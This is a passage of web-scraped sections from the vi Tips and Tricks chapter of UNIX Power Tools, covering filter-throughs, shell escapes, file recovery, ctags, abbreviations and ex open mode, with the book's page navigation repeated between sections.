will pass lines 96 through 99 through the sort (36.1) filter and replace those lines with the output of sort.

The ex % operator is the easiest way to filter all the lines in your buffer. If you're editing a C program, for instance, you could feed it all through the formatting program named indent by typing:

:%!indent

30.22.2 Filtering Text with vi

In vi, text is filtered through a UNIX command by typing an exclamation mark (!) followed by any of vi's movement keystrokes that indicate a block of text, and then by the UNIX command line to be executed. For example:

!)command

will pass the next sentence through command.

There are a couple of unusual features about how vi acts when you use this structure.

  • First, the exclamation mark doesn't appear on your screen right away. When you type the keystroke(s) for the text object you want to filter, the exclamation mark appears at the bottom of the screen, but the character you type to reference the object does not.

  • Second, text blocks must be more than one line, so you can use only the keystrokes that would move more than one line ( G, { }, ( ), [[ ]], +, - ). To repeat the effect, a number may precede either the exclamation mark or the text object. (For example, both !10+ and 10!+ would indicate the next ten lines.) Objects such as w do not work unless enough of them are specified so as to exceed a single line. You can also use a slash (/) followed by a pattern and a carriage return to specify the object. This takes the text up to the pattern as input to the command.

  • Third, there is a special text object that can be used only with this command syntax; you can specify the current line by entering a second exclamation mark:

    !!command

    Remember that either the entire sequence or the text object can be preceded by a number to repeat the effect. For instance, to change lines 96 through 99 as in the previous example, you could position the cursor on line 96 and enter either:

    4!!sort

    or:

    !4!sort

As another example, assume you have a portion of text in a message that you're going to send to the Usenet (1.33) "net news." On Usenet, text that might be offensive or would give away the answer to a question is "rotated." The letter a is changed to n, b is changed to o, and so on. There are programs for rotating text, but it's also easy to rotate text with the tr (35.11) command. In this example, the second sentence is the block of text that will be filtered to the command.

 One sentence before.
 With a screen editor you can scroll the page
 move the cursor, delete lines, insert characters,
 and more, while seeing the results of your edits
 as you make them.
 One sentence after.
Keystrokes Results
!)
 One sentence after.
 ~
 ~
 ~
 !_

An exclamation mark appears on the last line to prompt you for the UNIX command.

tr '[a-z]' '[A-Z]'
 One sentence before.
 WITH A SCREEN EDITOR YOU CAN SCROLL THE PAGE
 MOVE THE CURSOR, DELETE LINES, INSERT CHARACTERS,
 AND MORE, WHILE SEEING THE RESULTS OF YOUR EDITS
 AS YOU MAKE THEM.
 One sentence after.

Enter the UNIX command and press RETURN. The input is replaced by the output.

To repeat the previous command, the syntax is:

! object !

It is sometimes useful to send sections of a coded document to nroff to be replaced by formatted output. Remember that the "original" input is replaced by the output. Fortunately, if there is a mistake, such as an error message being sent instead of the expected output, you can undo the command and restore the lines.

- TOR from O'Reilly & Associates' Learning the vi Editor, Chapter 7

Previous: 30.21 Per File Setups in Separate Files | UNIX Power Tools | Next: 30.23 Safer vi Filter-Throughs
30.21 Per File Setups in Separate Files | Book Index | 30.23 Safer vi Filter-Throughs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.23 Safer vi Filter-Throughs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.22 Filtering Text Through a UNIX Command Chapter 30
vi Tips and Tricks 		Next: 30.24 vi/ex File Recovery vs. Networked Filesystems

30.23 Safer vi Filter-Throughs

Sometimes when I do a filter-through-especially on some buggy, old versions of vi-it completely scrambles and trashes my text. Things can be so bad that the u (undo) command won't work. Unless I've been careful to write my buffer (with :w) before the filter-through, I can lose the whole file! I've seen the same problem on several versions of vi and read articles on Usenet from people who've been bitten by it.

If you've been burned, too, you might want to use the keymaps (31.2) below. Map one of your keys - a numbered function key like F4, if you can - to do filter-throughs of your whole file. To start a filter-through, press the F4 key - this invokes the first map below. Next, type the UNIX command you want to run. To run the filter-through, press F4 again.

The maps are shown here: enter the control characters ^M ^V, and ^[ by typing CTRL-v first (31.6).

map #4 :se noaw^M:w^M:%d^M:r !
map! #4 ^V '%'^M:1d^[:se aw^[

The first one (map #4) maps the F4 key during command mode to set the noautowrite option (:se noaw), write the buffer to your file (:w), delete all lines in the buffer (:%d), and start a shell command line (:r ! (33.4)). After pressing F4 from command mode, your cursor should be on the bottom line, ready for you to type the filter-through:

:r !

Type the UNIX command (like expand, fmt -75, and so on). Then press F4 again. Because you're in text-input mode, the second map above (map! #4) will be used this time.

The map starts with CTRL-v and a space; this trick puts a space between the command line you type and the filename. Next, the current filename (% (30.4)) -in single quotes, to protect special characters from the shell - is output, followed by a RETURN to execute the command. Reading a UNIX command with :r ! leaves a blank line above; the :1d deletes that line (it'll be the line 1 in the buffer). Finally, the :se aw command turns on the autowrite option again.

CAUTION: If you never set the autowrite option, you can leave out the :se noaw^M and :se aw^M. But be sure - if autowrite is set when you use this map, all lines in your file will be deleted! (The empty buffer will be auto-written when the shell command runs.)

I guess it figures :-(-this tricky set of keymaps doesn't work perfectly on every version of vi. On my old SunOS 4.1 version of vi, for instance, it left me in text-input mode; I had to hit ESC after pressing F4 the second time.

Still, this is a lot more reliable than the normal way to do filter-throughs on buggy versions of vi. It's been especially nice because I've always been able to undo the filter-through with the u (undo) or :e! commands. I haven't used these keymaps in several years, but filter-throughs are such an important vi feature to me that I'll always keep them handy.

- JP

Previous: 30.22 Filtering Text Through a UNIX Command | UNIX Power Tools | Next: 30.24 vi/ex File Recovery vs. Networked Filesystems
30.22 Filtering Text Through a UNIX Command | Book Index | 30.24 vi/ex File Recovery vs. Networked Filesystems
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.24 vi/ex File Recovery vs. Networked Filesystems

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.23 Safer vi Filter-Throughs Chapter 30
vi Tips and Tricks 		Next: 30.25 vi -r May not Write Recovered Buffer When You Exit

30.24 vi/ex File Recovery vs. Networked Filesystems

Have you ever used the vi -r command to recover a file? It lets you get back a file you were editing when the system crashed or something else killed your editor before you could save. The system will send you a mail message (1.33) something like this:

Date: Tue, 19 Nov 91 09:59:00 EST
To: jerry
A copy of an editor buffer of your file "afile"
was saved when the system went down.
This buffer can be retrieved using the "recover" command of the editor.
An easy way to do this is to give the command "vi -r afile".
This works for "edit" and "ex" also.

Warning! Your files are saved under a directory named something like /usr/preserve. Follow the instructions and you'll get back your file, more or less the way it was when you lost it.

If your computers have networked filesystems, such as NFS, there's a wrinkle in the way that vi -r works. It may only work right on the specific computer where you were editing a file. For example, if you're editing the file foo on the host named artemis and it crashes... you may not be able to log on to another host and do vi -r foo to recover that file. That's because, on many hosts, temporary files (like editor buffers) are stored on a local filesystem instead of on the networked (shared) filesystems. On this kind of system, you may need to log on to artemis to recover your lost editor buffer.

If you don't remember which computer you were using when the file was lost, check the "Received:" lines in the email message header; they'll often show which machine the message originally came from. Also, if you don't remember what files are saved on a machine, you can usually get a list of your saved files by typing vi -r without a filename:

/tmp
% vi -r
/var/preserve/jerry:
On Wed Jul 17 at 08:02 saved 15 lines of file "/u/jerry/Mail/drafts/1"
On Sun Aug 25 at 18:42 saved 157 lines of file "doit"
/tmp:
No files saved.

Don't wait too long. Most UNIX systems remove these saved editor buffers every month, week, or even more often.

- JP

Previous: 30.23 Safer vi Filter-Throughs | UNIX Power Tools | Next: 30.25 vi -r May not Write Recovered Buffer When You Exit
30.23 Safer vi Filter-Throughs | Book Index | 30.25 vi -r May not Write Recovered Buffer When You Exit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.25 vi -r May not Write Recovered Buffer When You Exit

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.24 vi/ex File Recovery vs. Networked Filesystems Chapter 30
vi Tips and Tricks 		Next: 30.26 Shell Escapes: Running One UNIX Command While Using Another

30.25 vi -r May not Write Recovered Buffer When You Exit

Usually, when you're editing a file with vi, if you type the command ZZ, it saves your file. But, on some versions of vi, if you recover a file with vi -r (30.24), typing ZZ may not save your edits!

That might be a good thing. When you recover a buffer, you need to decide whether the recovered buffer is really what you want. Maybe you've made other changes to the file since then. Maybe something went wrong as the buffer was being saved (say, the system crashed). You shouldn't just save without checking first.

You can use the :w! command to write the recovered version after you're sure that you want it. Use the :q! command if you don't want the recovered version.

- JP

Previous: 30.24 vi/ex File Recovery vs. Networked Filesystems | UNIX Power Tools | Next: 30.26 Shell Escapes: Running One UNIX Command While Using Another
30.24 vi/ex File Recovery vs. Networked Filesystems | Book Index | 30.26 Shell Escapes: Running One UNIX Command While Using Another
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.26 Shell Escapes: Running One UNIX Command While Using Another

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.25 vi -r May not Write Recovered Buffer When You Exit Chapter 30
vi Tips and Tricks 		Next: 30.27 vi Compound Searches

30.26 Shell Escapes: Running One UNIX Command While Using Another

Some UNIX commands, usually interactive commands like vi, let you run another UNIX command temporarily. To do that, you type a special command character - usually an exclamation point (!)-then type the UNIX command line you want to run. In this article, I'll show examples for the vi editor. To see if this works on another utility, check its documentation or just try typing !UNIXcommand when the utility is waiting for you to type a command.

You can run any UNIX command without quitting vi. That's handy, for example, if you want to read your mail or look at some other file... then go back to the file you were editing without losing your place. It's called a "shell escape." (By the way, there's a another way to do this, called job control (12.1), that works on many UNIX systems with most of their shells. I think that job control is a lot more convenient and flexible than shell escapes.)

Let's say you're editing the file named foo and you need to run grep to get someone's phone number from your phone file. The steps are:

  1. Be sure you're in command mode (press the ESC key if you aren't sure).

  2. If you want to run a command that needs the file you're editing, remember to write out your vi buffer with the :w command. (So, you probably wouldn't need to write before the grep command below.) Type :! followed by the UNIX command, then press RETURN. For example:

    ~
    :!grep tim ~/phone

  3. The grep program will run. When it finishes, vi will say:

    [Hit return to continue]

    After you press RETURN, you'll be right back where you were.

Other examples:

:!pg somefile

Page through somefile on your screen.

:!ptroff %

Run this file through the ptroff formatter program. vi replaces % with the name of the file you're editing now.

:!mail

Read your mail. Be careful about this if you were already running the mail program, and you used the command ~v to edit a message with vi from inside the mail program. This shell escape starts a subshell (38.4); it will not take you back to the same mail session before you started editing!

:sh

Start a completely new shell. (If you are using a shell with job control, you'll almost always want to use job control to temporarily suspend vi instead (12.4)!)

Basically: anything you can do at a shell prompt, you can do with a shell escape. You'll be in a subshell though, not your original login shell. So, commands like cd won't affect the program where you started the subshell or any other shell. On the bright side, changing directories or resetting anything in your environment won't affect vi or the shell where you started vi. Terminating the program you're running in the subshell will bring you right back where you were.

- JP

Previous: 30.25 vi -r May not Write Recovered Buffer When You Exit | UNIX Power Tools | Next: 30.27 vi Compound Searches
30.25 vi -r May not Write Recovered Buffer When You Exit | Book Index | 30.27 vi Compound Searches
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.27 vi Compound Searches

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.26 Shell Escapes: Running One UNIX Command While Using Another Chapter 30
vi Tips and Tricks 		Next: 30.28 Keep Track of Functions and Included Files with ctags and tags

30.27 vi Compound Searches

You probably know that you can search for a word or phrase with the vi command / (slash):

/treasure

If you have a file that uses the same word over and over again, you might want to find one particular place that the word is used. You can repeat the search with the n command until you find the place you want. That can take time and work, though.

For example, suppose you want to find the word "treasure" in the sentence that has words something like "Los Alamos residents...treasure," but you can't remember exactly how the sentence is written. You could use wildcards in your regular expression (26.4):

/Los Alamos.*treasure

but then the phrases "Los Alamos" and "treasure" have to be on the same line of the file you're searching - and they won't always be. Also, you want your cursor on the word treasure, but that search would put the cursor on Los instead.

"Hmmm," you say, "How about two separate searches, like this?"

/Los Alamos
/treasure

The problem there is: the file might have the phrase "Los Alamos" all through it; you might have to type n over and over until you get to the sentence with treasure.

Here's the easy way: a compound search. Say your cursor is on line 1 of the following file:

Before the second World War, there was a treasured boys' school in
what was to become the city of Los Alamos, New Mexico. The school at
Los Alamos changed the lives and made a lifelong impression on most boys
who attended. One of the boys who attended the Los Alamos school went on
to propose that remote set of mesas as a site for the U.S. Government's
   ...
Since the war ended, most of the boys' school ranch buildings have been torn
down or replaced. But there's one building that Los Alamos residents still
use and treasure. It's The Lodge, a log building on the edge of what's now
   ...

Type the command:

/Los Alamos/;/treasure/

That means "find the first occurrence of treasure just after Los Alamos." Starting at the top of the example above, that search will skip past all the treasure and Los Alamos words until it finds the word treasure on the last line shown. (It's probably smarter to type just /Alamos/;/treasure/ in case the Los Alamos is split across two lines of the file.)

Another example: a C programmer who wants to find the printf function call just after the line where i is incremented by two (i += 2). She could type:

/i += 2/;/printf/

NOTE: You can't repeat a compound search by typing n. The easiest way is to define the search as a key map (31.2):

^M
:map g /Los Alamos/;/treasure/^M

and use (in this case) g to repeat the search.

- JP

Previous: 30.26 Shell Escapes: Running One UNIX Command While Using Another | UNIX Power Tools | Next: 30.28 Keep Track of Functions and Included Files with ctags and tags
30.26 Shell Escapes: Running One UNIX Command While Using Another | Book Index | 30.28 Keep Track of Functions and Included Files with ctags and tags
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.28 Keep Track of Functions and Included Files with ctags and tags

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.27 vi Compound Searches Chapter 30
vi Tips and Tricks 		Next: 30.29 Setting Multiple tags Files

30.28 Keep Track of Functions and Included Files with ctags and tags

The source code for a large C program will usually be spread over several files. Sometimes, it is difficult to keep track of which file contains which function definitions. To simplify matters, a UNIX command called ctags can be used together with the :tag command of vi.

ctags creates an information file (a database) that vi uses later to determine which files define which functions. By default, this database file is called tags. This file contains lines of the form:

tag_ID     file    context

where tag_ID is the name of the C function or macro, file is the source file in which tag_ID is defined, and context is a search pattern that shows the line of code containing tag_ID.

From within vi, a command such as:

:!
:!ctags file.c

creates a file named tags under your current directory. tags is a database containing information on the functions defined in file.c. A command like:

:!ctags *.c

creates a tags file describing all the C source files under the directory. [If you'll be using the tags file while you're in some other directory, be sure to use an absolute pathname, like this:

`...`
:!ctags `pwd`/*.c

That will store absolute pathnames (14.2) in the tags file. -JP ]

Now suppose your tags file contains information on all the source files that make up a C program. Also suppose that you want to look at or edit a function in the program but do not know where the function is. From within vi, the command:

:tag name

will look at the tags file to find out which file contains the definition of the function name. It will then read in the file and position the cursor on the line where the name is defined. In this way, you don't have to know which file you have to edit; you only have to decide which function you want to edit. [My favorite tags shortcut is to put the cursor on the first letter of a function name in your buffer. Then press CTRL-] (Control-right square bracket). vi will read the tags file and open to the function name that was under your cursor. At least, my version of vi will do that! -JP ]

NOTE: If tags isn't working, that may be because you have the vi option nowrapscan set. That's a problem on many versions of vi. If typing the following command fixes tags for you:

:set wrapscan

then add that command to your .exrc file (4.9) or EXINIT variable (6.3). (Thanks to Chris Torek for this tip.)

- JS from O'Reilly & Associates' Learning the vi Editor, Chapter 7

Previous: 30.27 vi Compound Searches | UNIX Power Tools | Next: 30.29 Setting Multiple tags Files
30.27 vi Compound Searches | Book Index | 30.29 Setting Multiple tags Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.29 Setting Multiple tags Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.28 Keep Track of Functions and Included Files with ctags and tags Chapter 30
vi Tips and Tricks 		Next: 30.30 vi Outsmarts Dual-Function Function Keys

30.29 Setting Multiple tags Files

You might have a tags file in your current directory. You might also have another system-wide or group-wide tags file. How can you make vi search both of them?

In your .exrc file (30.6) or at the colon (:) prompt, type a backslash (\) between the tag filenames:

set tags=tags\ /usr/local/lib/tags

- JP

Previous: 30.28 Keep Track of Functions and Included Files with ctags and tags | UNIX Power Tools | Next: 30.30 vi Outsmarts Dual-Function Function Keys
30.28 Keep Track of Functions and Included Files with ctags and tags | Book Index | 30.30 vi Outsmarts Dual-Function Function Keys
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.30 vi Outsmarts Dual-Function Function Keys

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.29 Setting Multiple tags Files Chapter 30
vi Tips and Tricks 		Next: 30.31 vi Word Abbreviation

30.30 vi Outsmarts Dual-Function Function Keys

[This tip is about a Digital Equipment VT220 terminal, specifically, but you can probably use the same idea on other terminals. -JP]

I worked at a university with labs full of VT220 terminals. VT220s can be set to act as either VT220s or VT100s. The top row on the keyboard has a key marked ESC, for "escape." Unfortunately, the key sends a real ESC character only when the terminal is in its VT100 mode. As a VT220, that function key sends ESC followed by the four characters "[23~"-these make vi beep and change character case.

You can solve that problem by putting this command in your .exrc (30.6) file:

map [23~ mm

Then, whenever you press that key in the VT220 mode, the ESC character will do what ESC should and the [23~ will execute the vi command mm. That command marks (30.38) the current cursor position as "m"-nothing useful, but it keeps vi quiet.

- JP

Previous: 30.29 Setting Multiple tags Files | UNIX Power Tools | Next: 30.31 vi Word Abbreviation
30.29 Setting Multiple tags Files | Book Index | 30.31 vi Word Abbreviation
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.31 vi Word Abbreviation

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.30 vi Outsmarts Dual-Function Function Keys Chapter 30
vi Tips and Tricks 		Next: 30.32 Using vi Abbreviations as Commands (Cut and Paste Between vi's)

30.31 vi Word Abbreviation

You can define abbreviations that vi will automatically expand into the full text whenever you type the abbreviation during text-input mode. To define an abbreviation, use the ex command:

:ab abbr phrase

abbr is an abbreviation for the specified phrase. The sequence of characters that make up the abbreviation will be expanded during text-input mode only if you type it as a full word; abbr will not be expanded within a word. [I abbreviate Covnex to Convex, my company's name, because I have dyslexic fingers. -TC ]

Suppose you want to enter text that contains a phrase that occurs frequently, such as a difficult product or company name. The command:

:ab ns the Nutshell Handbook

abbreviates the Nutshell Handbook to the initials ns. Now whenever you type ns as a separate word during text-input mode, ns expands to the full text.

Abbreviations expand as soon as you press a non-alphanumeric character (e.g., punctuation), a carriage return, or ESC (returning to command mode). [1] When you are choosing abbreviations, choose combinations of characters that don't ordinarily occur while you are typing text. If you create an abbreviation that ends up expanding in places where you don't want it to, you can disable the abbreviation by typing:

[1] An abbreviation won't expand when you type an underscore ( _ ); it's treated as part of the abbreviation.

:unab abbr

To list your currently defined abbreviations, type:

:ab

The characters that compose your abbreviation cannot also appear at the end of your phrase. For example, if you issue the command:

:ab PG This movie is rated PG

you'll get the message No tail recursion, and the abbreviation won't be set. The message means that you have tried to define something that will expand itself repeatedly, creating an infinite loop. If you issue the command:

:ab PG the PG rating system

you may or may not produce an infinite loop, but in either case you won't get a warning message. For example, when the above command was tested on a System V version of UNIX, the expansion worked. On a Berkeley version though, the abbreviation expanded repeatedly, like this:

the the the the the ...

until a memory error occurred and vi quit. We recommend that you avoid repeating your abbreviation as part of the defined phrase.

- DD, DG

Previous: 30.30 vi Outsmarts Dual-Function Function Keys | UNIX Power Tools | Next: 30.32 Using vi Abbreviations as Commands (Cut and Paste Between vi's)
30.30 vi Outsmarts Dual-Function Function Keys | Book Index | 30.32 Using vi Abbreviations as Commands (Cut and Paste Between vi's)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.32 Using vi Abbreviations as Commands (Cut and Paste Between vi's)

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.31 vi Word Abbreviation Chapter 30
vi Tips and Tricks 		Next: 30.33 Fixing Typos with vi Abbreviations

30.32 Using vi Abbreviations as Commands (Cut and Paste Between vi's)

The vi command ab (30.31) is for abbreviating words. But it's also good for abbreviating ex-mode commands that you type over and over. In fact, for ex-mode commands (commands that start with a colon (:)), abbreviations can be better than keymaps (31.2). That's because you can choose almost any command name; you don't have to worry about conflicts with existing vi commands.

Here's an example. If you have a windowing terminal or have more than one terminal, you might have vi sessions running in more than one place. Your system might have a way to transfer text between windows, but it can be easier to use files in /tmp (21.2)- especially for handling lots of text. Here are some abbreviations from my .exrc (4.9) file:

ab aW w! /tmp/jerry.temp.a
ab aR r /tmp/jerry.temp.a
ab bW w! /tmp/jerry.temp.b
ab bR r /tmp/jerry.temp.b
   ...

I use those abbreviations this way. To write the current and next 45 lines to temporary file a, I type this command in one vi session:

:.,+45 aW

To read those saved lines into another vi session, I use:

:aR

You can do the same thing in a single vi session by using named buffers (30.5), but temporary files are the only method that works between two separate vi sessions.

- JP

Previous: 30.31 vi Word Abbreviation | UNIX Power Tools | Next: 30.33 Fixing Typos with vi Abbreviations
30.31 vi Word Abbreviation | Book Index | 30.33 Fixing Typos with vi Abbreviations
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.33 Fixing Typos with vi Abbreviations

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.32 Using vi Abbreviations as Commands (Cut and Paste Between vi's) Chapter 30
vi Tips and Tricks 		Next: 30.34 vi Line Commands vs. Character Commands

30.33 Fixing Typos with vi Abbreviations

Abbreviations (30.31) are a handy way to fix common typos. Try a few abbreviations like this:

ab teh the
ab taht that

in your .exrc (30.6) file.

Any time you find yourself transposing letters or saying, "Darn, I always misspell that word," add an abbreviation to .exrc. (Of course, you do have to worry about performance if the file gets too big.)

You can do the same thing to enforce conventions. For example, we type command names in italics, so creating a list of abbreviations like:

ab vi \fIvi\fP

saves us from having to type lots of troff (43.13) codes.

(This abbreviation is not recursive (30.31) because the vi is sandwiched between other alphanumeric characters, not standing alone as a word.)

- TOR

Previous: 30.32 Using vi Abbreviations as Commands (Cut and Paste Between vi's) | UNIX Power Tools | Next: 30.34 vi Line Commands vs. Character Commands
30.32 Using vi Abbreviations as Commands (Cut and Paste Between vi's) | Book Index | 30.34 vi Line Commands vs. Character Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.34 vi Line Commands vs. Character Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.33 Fixing Typos with vi Abbreviations Chapter 30
vi Tips and Tricks 		Next: 30.35 Out of Temporary Space? Use Another Directory

30.34 vi Line Commands vs. Character Commands

[Quite a few vi users understand how to build vi commands with the (number)(command)(text object) model. But not too many people understand the difference between line commands and character commands. This article explains that and gives some examples. -JP]

The _ (underscore) command is very similar to the (caret) command in that it moves to the first non-blank character of the current line. The key difference is that _ is a line command while is a character command. This is important for all functions that read an "address," for example, d, y, and c.

In fact, delete, yank, and so on all call a common internal routine in vi to get an "address." If the address is of a particular character, vi does a character-mode delete or yank or whatever. If it is a line address, vi does a line-mode operation. The "address" command may be any of the regular positioning commands (e.g., W, b, $, or /pattern/) or the original character repeated (as in dd or yy).

Some examples are in Table 30.1.

Table 30.1: Examples of vi Character and Line Commands
Keystrokes | Results
dd | Deletes the current line.
d'a | Deletes all lines between the current line and the line containing mark a, inclusive.
d`a | Deletes all characters between the current character and the character at mark a. This works much like an Emacs W in that the two endpoints are considered to be between two characters. Note that a character-oriented delete may delete newlines.
c/accord/ | Changes all characters (not lines!) between the current character up to but not including the a in accord. (However, see the following Note.)
c?accord? | Changes all characters between the current character and the accord, including the word accord.
yj | Yanks two lines, the current line and the one below.
yH | Yanks all the lines from the top of the screen to the current line, inclusive.
<G | Unindents or "dedents" the lines between the current line and the last line, inclusive. (The variable shiftwidth determines the amount of dedenting.) Note that this command turns character addresses into line addresses (so does >).
!}fmt | Runs the lines between the current line and the end of the paragraph through the program fmt (30.37).

NOTE: If you have wrapscan set, a search like c?accord? may wrap from the beginning of the file to the end. This can cause unexpected results, and is one reason why I have set nows in my .exrc. Unfortunately, turning off wrapscan breaks tags (30.28) in many versions of vi.

vi combines the repeat count, if any, on the command character with the repeat count on the motion command, so that 2y2j yanks five lines. Interestingly, 2y2_ yanks 4 lines (so does 2y2y) since the _ command moves down (repeat count minus 1) lines. Beware, however, of using repeat counts on all of the motion commands; they're not all implemented in the same way. 4$ moves to the end of the third line below the current; 4 merely moves to the first non-blank character of the current line. | (vertical bar) is a synonym for 0 (zero); given a repeat count it goes that many characters to the right of the beginning of the line (as if you had typed | (rept-1) l). (Exercise for the reader: why can't you give a repeat count to 0?)

Uppercase letters do different things depending on the command. The exact actions may not always seem sensible, but typically they affect the "current line": D acts like d$; C acts like c$; Y acts like yy. The list must merely be memorized, or you can use a good vi reference guide.

- CT in net.unix on Usenet, 19 March 1984

Previous: 30.33 Fixing Typos with vi Abbreviations | UNIX Power Tools | Next: 30.35 Out of Temporary Space? Use Another Directory
30.33 Fixing Typos with vi Abbreviations | Book Index | 30.35 Out of Temporary Space? Use Another Directory
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.35 Out of Temporary Space? Use Another Directory

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.34 vi Line Commands vs. Character Commands Chapter 30
vi Tips and Tricks 		Next: 30.36 The ex Open Mode Can Be Handy

30.35 Out of Temporary Space? Use Another Directory

vi keeps its temporary copy of the file you're editing in a temporary-file directory (21.2)- usually /tmp, /usr/tmp, or /var/tmp. If you're editing a big file or if the temporary filesystem runs out of space, vi may not be able to make your temporary file. When that happens, you can use vi's set directory command to set the pathname of a different temporary directory. (If this happens a lot though, you should talk to the system administrator and see if the standard area can be cleaned up or made bigger.)

First, you'll need the absolute pathname (14.2) of a directory on a filesystem with enough room (24.9). Use an existing directory or make a new one.

The vi command is set directory - for example,

set directory=/usr1/jim/vitemp

You have to type that command before giving vi a filename to edit - after that, vi has made the temporary file and you'll be too late. But if you type that command while using vi and then use the :e command (30.4), all files from then on will use the new temporary directory.

To set the directory temporarily, it's probably easiest to add that command to the EXINIT environment variable (6.1):

setenv EXINIT 'set directory=/usr1/jim/vitemp'

There are other ways to change EXINIT, too - see article 6.10.

If you already have a .exrc file (30.6), setting EXINIT will make vi ignore your .exrc file. To make the temporary set directory work, too, use a command with a vertical bar (|) like this:

setenv EXINIT 'source /usr1/jim/.exrc|set directory=/usr1/jim/vitemp'

- JP

Previous: 30.34 vi Line Commands vs. Character Commands | UNIX Power Tools | Next: 30.36 The ex Open Mode Can Be Handy
30.34 vi Line Commands vs. Character Commands | Book Index | 30.36 The ex Open Mode Can Be Handy
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.36 The ex Open Mode Can Be Handy

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.35 Out of Temporary Space? Use Another Directory Chapter 30
vi Tips and Tricks 		Next: 30.37 Neatening Lines

30.36 The ex Open Mode Can Be Handy

Most vi users hate it when they start the editor and get a message like one of these:

Visual needs addressable cursor or upline capability
[Using open mode]

Those folks usually say (or think) something choice like "how the #&@! do I get to fullscreen mode?" If you're one of those people, wait. You might get to like the ex open mode!

Before I show you an example of open mode, I'll mention another place where it's nice: on slow dialup lines or sluggish network connections, where your screen fills slowly and you're always waiting for it to redraw. It's also very useful if you're using a window system and vi doesn't seem to understand how many lines are in your window - for quick editing, it can be easier to switch to open mode for a minute than to try to fix the window.

The open mode is something like vi on a one-line screen. It's different from other UNIX line-mode editors like ed or the standard colon-prompt mode of ex, though. In open mode, you use the normal fullscreen vi commands - one line at a time. For example, to exit, type ZZ just like you do in fullscreen mode.

If you've got a fair amount of experience with vi, the easiest way to learn about open mode is to jump in and try it - after a little explanation, that is. There are three ways to get into open mode:

  • If you're thrown into ex mode and given a colon (:) prompt, type this command and press RETURN:

    :open

  • If you have a choice - on a slow network connection, for example - start open mode from the command line. Depending on your version of vi, use one of the following commands:

    % ex +open filename
% ex -c open filename

  • If you're already in vi's fullscreen mode, switch to open mode by typing Q to get an ex colon (:) prompt. Then type the command open and press RETURN.

When you start open mode, the editor will display the current line and put your cursor at the start of it.

Keystrokes

Result

ex +open afile

[Using open mode]
"afile" 47 lines, 1943 characters
In the beginning, there was a cursor.

Open the file afile in open mode. Notice that the prompt line, which shows the filename and size at the bottom of the screen in vi, is printed first during open mode. That's because open mode always prints line by line. Next, the first line of the file is displayed. Your cursor is at the start of the line.

2w

[Using open mode]
"afile" 47 lines, 1943 characters
In the beginning, there was a cursor.

The vi command 2w moves the cursor forward two words.

j

[Using open mode]
"afile" 47 lines, 1943 characters
In the beginning, there was a cursor.
The screen was blank and without characters.

The vi command j moves the cursor down one line. NOTE: On some versions, this command will print only the first few characters of the new line - up to the place where the cursor sits. So, instead of j, I usually use the RETURN command to paint a whole line and move the cursor to the front of it.

k

[Using open mode]
"afile" 47 lines, 1943 characters
In the beginning, there was a cursor.
The screen was blank and without characters.
In the beginning, there was a cursor.

The vi command k moves the cursor up one line - to the previous line. This is open mode, so the previous lines scroll away. To keep from getting confused, remember: the line with the cursor is the one you're editing now. NOTE: As in the previous step, the k command may not print all of the line. In that case, the minus (-) command is better.

cwend

[Using open mode]
